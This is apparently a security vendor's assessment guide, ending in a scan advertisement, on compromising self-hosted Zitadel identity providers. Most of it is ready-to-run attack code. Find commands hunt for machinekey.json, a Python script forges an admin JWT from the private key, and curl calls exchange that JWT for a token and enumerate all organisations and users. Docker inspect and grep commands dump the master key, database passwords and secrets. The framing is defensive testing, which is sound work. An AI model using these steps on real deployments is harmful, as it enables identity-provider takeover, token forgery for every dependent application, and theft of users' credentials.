Zitadel is a rapidly adopted modern open-source IAM and OIDC identity provider, positioned as a cloud-native alternative to Keycloak for self-hosted environments. As an identity provider, Zitadel is the trust anchor for every application that delegates authentication to it — compromising Zitadel gives an attacker the ability to issue valid tokens for any application in the environment. Key assessment areas: the Zitadel bootstrap process generates a machinekey.json file containing a private key for the system admin service account that provides full administrative API access; Zitadel service accounts use JWT-based authentication with private RSA key files that do not require password knowledge; the Zitadel admin API allows reading OIDC application client secrets for all configured applications; the ZITADEL_MASTERKEY environment variable used for encryption is visible in container inspection; and Zitadel machine user key files on the host filesystem enable impersonating service accounts. This guide covers systematic Zitadel security assessment.
# Zitadel bootstrap — machinekey.json extraction and JWT generation
# The bootstrap process creates a system admin machine user and writes
# the private key to machinekey.json in the working directory or a mounted volume
# Check for machinekey.json in common locations
find /opt /var /data /home -name "machinekey.json" 2>/dev/null
find . -name "machinekey.json" 2>/dev/null
# machinekey.json structure:
# {
# "type": "serviceaccount",
# "keyId": "unique-key-id",
# "key": "-----BEGIN RSA PRIVATE KEY-----\n...",
# "appId": "app-id",
# "clientId": "client-id@zitadel.instance.domain"
# }
# Extract and use the machine key to generate a JWT for admin API access
python3 << 'EOF'
import json, time
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
import base64
with open('machinekey.json') as f:
key_data = json.load(f)
# Build JWT header and payload
header = base64.urlsafe_b64encode(json.dumps({"alg":"RS256","kid":key_data["keyId"]}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({
"iss": key_data["clientId"],
"sub": key_data["clientId"],
"aud": "https://zitadel.example.com",
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}).encode()).rstrip(b'=').decode()
signing_input = f"{header}.{payload}".encode()
from cryptography.hazmat.backends import default_backend
private_key = serialization.load_pem_private_key(
key_data["key"].encode().replace(b'\\n', b'\n'),
password=None,
backend=default_backend()
)
signature = private_key.sign(signing_input, padding.PKCS1v15(), hashes.SHA256())
sig_b64 = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()
print(f"JWT: {header}.{payload}.{sig_b64}")
EOF
# Zitadel admin API — with JWT token from machine key
ZITADEL_URL="https://zitadel.example.com"
JWT_TOKEN="eyJhbGciOiJSUzI1..." # from machinekey.json JWT generation
# Exchange JWT for access token
ACCESS_TOKEN=$(curl -s -X POST "${ZITADEL_URL}/oauth/v2/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&scope=openid+urn:zitadel:iam:org:project:id:zitadel:aud&assertion=${JWT_TOKEN}" \
2>/dev/null | python3 -c "import json,sys; print(json.load(sys.stdin).get('access_token',''))")
# List all organizations
curl -s -X POST "${ZITADEL_URL}/zitadel.admin.v1.AdminService/ListOrgs" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"query":{"offset":"0","limit":100}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
orgs = d.get('result',[])
print(f'Organizations: {len(orgs)}')
for o in orgs:
print(f' {o.get(\"name\")} id={o.get(\"id\")} state={o.get(\"state\")}')
" 2>/dev/null
# Enumerate all users across organizations — full IAM user inventory
curl -s -X POST "${ZITADEL_URL}/zitadel.admin.v1.AdminService/ListUsers" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"query":{"offset":"0","limit":100}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('result',[])
total = d.get('details',{}).get('totalResult',0)
print(f'Users: {total}')
for u in users:
human = u.get('human',{})
profile = human.get('profile',{})
email = human.get('email',{})
machine = u.get('machine',{})
if human:
print(f' [human] {profile.get(\"firstName\")} {profile.get(\"lastName\")} email={email.get(\"email\")} state={u.get(\"state\")}')
elif machine:
print(f' [machine] {machine.get(\"name\")} state={u.get(\"state\")}')
" 2>/dev/null
# Zitadel environment and configuration credential extraction
# Container environment — MASTERKEY and database credentials
docker inspect zitadel 2>/dev/null | python3 -c "
import json,sys
containers=json.load(sys.stdin)
if not containers: import sys; sys.exit()
env = containers[0].get('Config',{}).get('Env',[])
for e in env:
if any(k in e.upper() for k in ['MASTERKEY','DATABASE','PASSWORD','SECRET','KEY','TOKEN']):
print(f'Credential: {e}')
" 2>/dev/null
# Common sensitive env vars in Zitadel:
# ZITADEL_MASTERKEY — 32-byte key used to encrypt all secrets in the database
# ZITADEL_DATABASE_POSTGRES_PASSWORD — CockroachDB/PostgreSQL password
# ZITADEL_EXTERNALDOMAIN — external domain for token issuer URL
# Zitadel configuration file — sensitive sections
grep -E 'MasterKey|Password|Secret|ClientSecret' \
/etc/zitadel/config.yaml 2>/dev/null
# If you have admin API access — read OIDC application client secrets
# Zitadel v2 API: list applications for a project to find client IDs
# Then retrieve client secrets for confidential OIDC clients
# This gives you credentials for all OIDC-integrated applications
# Access Zitadel console default admin credentials
# First-time setup creates an admin user with credentials shown once
# Check for any setup logs that captured initial admin credentials
grep -r "zitadel" /var/log/ 2>/dev/null | grep -i "password\|admin\|initial"
| Security Test | Method | Risk |
|---|---|---|
| machinekey.json extraction for admin JWT | find / -name machinekey.json — contains RSA private key for system admin service account; use private key to generate JWT and exchange for access token with full IAM administrative API access; no password required | Critical |
| ZITADEL_MASTERKEY environment variable exposure | docker inspect zitadel — ZITADEL_MASTERKEY visible in container environment; 32-byte master key decrypts all secrets in the Zitadel database including OIDC client secrets and JWT signing keys | Critical |
| Admin API user and organization enumeration | POST /zitadel.admin.v1.AdminService/ListUsers — enumerates all IAM users across all organizations; POST /zitadel.admin.v1.AdminService/ListOrgs — maps all tenant organizations; enables targeted user impersonation | High (requires admin token) |
| Service account key file extraction | Find .json machine key files in application working directories or Kubernetes secrets; RSA private key enables JWT generation for service account impersonation without password knowledge | Critical |
| Database credential extraction for offline access | ZITADEL_DATABASE_POSTGRES_PASSWORD in container environment; direct database access bypasses Zitadel API audit logging and allows reading all user password hashes and encrypted secrets | Critical |
Ironimo tests Zitadel deployments for machinekey.json exposure and JWT forgery risk, ZITADEL_MASTERKEY extraction from container environment, admin API user and organization enumeration, service account key file permission assessment, OIDC client secret enumeration via admin API, database credential extraction, and machine user role over-privilege analysis.
Start free scan